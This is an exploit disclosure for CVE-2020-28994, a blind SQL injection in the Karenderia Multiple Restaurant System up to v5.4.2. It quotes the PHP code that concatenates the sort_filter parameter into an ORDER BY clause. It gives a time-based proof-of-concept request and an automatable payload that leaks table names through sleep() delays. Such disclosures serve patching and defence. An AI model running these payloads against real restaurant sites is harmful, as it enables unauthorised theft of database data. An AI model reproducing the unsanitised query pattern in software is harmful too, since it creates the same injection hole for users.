Karenderia Multiple Restaurant System v5.4.2 SQLi.md

Karenderia Multiple Restaurant System <=5.4.2 - SQLi Vuln.

CVE: CVE-2020-28994

Date: 21-11-2020

Exploit Author: wes4m

Vendor Homepage: buyer2@codemywebapps.com

Software Link:

https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694

Version: v5.4.2

Category: Web applicaiton.

Software Description:

The true and only #1 multiple restaurant in codecanyon Karenderia Multiple Restaurant System is a restaurant food ordering and restaurant membership system.

Affected function:

FunctionsV3::searchByMerchant

Injection point:

```
$sort_by =" ORDER BY is_sponsored DESC, restaurant_name ASC";
		$sort_combine=$sort_by;

		if (isset($getdata['sort_filter'])){
			if (!empty($getdata['sort_filter'])){
				$sort="ASC";
				if($getdata['sort_filter']=="ratings"){
					$sort="DESC";
				}
				$sort_combine=" ORDER BY ".$getdata['sort_filter']." $sort";
			}
		}
```

Vuln info

Blind SQL Injection in all end points that allow sorting through sort_filter parameter.

PoC:

```
searcharea?s=x&sort_filter=(CASE WHEN(SELECT count(*) FROM information_schema.tables WHERE table_name = 'COLUMNS')=1
THEN sleep(10) ELSE sleep(1) END)--&display_type=listview
```

Example leaking payload that can be automated:

```
searcharea?s=x&sort_filter=(CASE WHEN(SELECT count(*) FROM information_schema.tables WHERE table_name LIKE
'BRUTE_FORCE%')=1 THEN sleep(10) ELSE sleep(1) END)--&display_type=listview
```